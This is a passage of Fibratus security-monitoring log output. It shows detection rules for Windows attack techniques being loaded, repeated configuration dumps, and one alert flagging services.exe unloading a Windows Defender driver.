source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:37:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T13:37:38+01:00 level=info msg=bootstrapping with pid 8900. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:37:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true enable-fileio=>true enable-thread=>true min-buffers=>16 enable-dns=>false flush-interval=>1s stack-enrichment=>true enable-mem=>false enable-registry=>true enable-image=>true enable-threadpool=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 max-buffers=>36 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ passive=>false timeout=>5s exchange=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672 exchange-type=>topic enabled=>false vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json enabled=>false] elasticsearch=>[ gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 healthcheck-interval=>10s enabled=>false flush-period=>1s sniff=>false index-name=>fibratus timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-registry=>false skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[] enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:37:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:37:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:38:32+01:00 level=info msg=sending alert: [Windows Defender driver unloading]. Text: Windows Defender driver C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys unloaded by process C:\WINDOWS\system32\services.exe + Event(s): + Seq: 4472978 + Pid: 1028 + Tid: 1936 + Type: UnloadImage + CPU: 7 + Name: UnloadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:38:12.1349368 +0100 CET + Params: base_address➜ fffff8040a9d0000, checksum➜ 121631, default_address➜ 0, file_path➜ C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys, image_size➜ 110592, pid➜ 0, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, subtechnique.name: Disable or Modify Tools, tactic.id: TA0005, technique.ref: https://attack.mitre.org/techniques/T1562/, subtechnique.ref: https://attack.mitre.org/techniques/T1562/001, technique.id: T1562, technique.name: Impair Defenses, subtechnique.id: T1562.001, rule.name: Windows Defender driver unloading + + Pid: 1028 + Ppid: 400 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T13:39:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:39:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:39:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:40:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T13:40:11+01:00 level=info msg=bootstrapping with pid 15220. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:40:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-image=>true min-buffers=>16 flush-interval=>1s stack-enrichment=>true enable-handle=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-dns=>false enable-mem=>false enable-vamap=>true enable-net=>true enable-thread=>true enable-audit-api=>true max-buffers=>36 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ elasticsearch=>[ sniff=>false healthcheck-interval=>10s healthcheck=>true flush-period=>1s index-name=>fibratus bulk-workers=>1 timeout=>5s trace-log=>false enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false] http=>[ timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange-type=>topic enabled=>false url=>amqp://localhost:5672 durable=>false delivery-mode=>transient routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s exchange=>fibratus] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:40:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:40:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:42:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:42:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:42:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:43:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T13:43:06+01:00 level=info msg=bootstrapping with pid 7892. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:43:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 min-buffers=>16 flush-interval=>1s enable-thread=>true enable-audit-api=>true enable-image=>true enable-mem=>false stack-enrichment=>true enable-threadpool=>false max-buffers=>36 enable-registry=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-net=>true enable-vamap=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ index-name=>fibratus template-name=>fibratus enabled=>false flush-period=>1s trace-log=>false healthcheck-timeout=>5s sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s] amqp=>[ exchange=>fibratus enabled=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus timeout=>5s exchange-type=>topic passive=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST timeout=>5s enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-files=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:43:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:43:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:43:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:43:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:43:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:47:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T13:47:42+01:00 level=info msg=bootstrapping with pid 4352. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:47:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-mem=>false enable-image=>true enable-handle=>false enable-registry=>true stack-enrichment=>true enable-vamap=>true max-buffers=>36 enable-thread=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-dns=>false enable-audit-api=>true flush-interval=>1s enable-threadpool=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST endpoints=>[] serializer=>json enabled=>false timeout=>5s enable-gzip=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] template-name=>fibratus trace-log=>false bulk-workers=>1 enabled=>false healthcheck=>true index-name=>fibratus sniff=>false healthcheck-interval=>10s gzip-compression=>false healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s url=>amqp://localhost:5672 enabled=>false exchange-type=>topic delivery-mode=>transient passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus durable=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false skip-mmaps=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:47:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:47:44+01:00 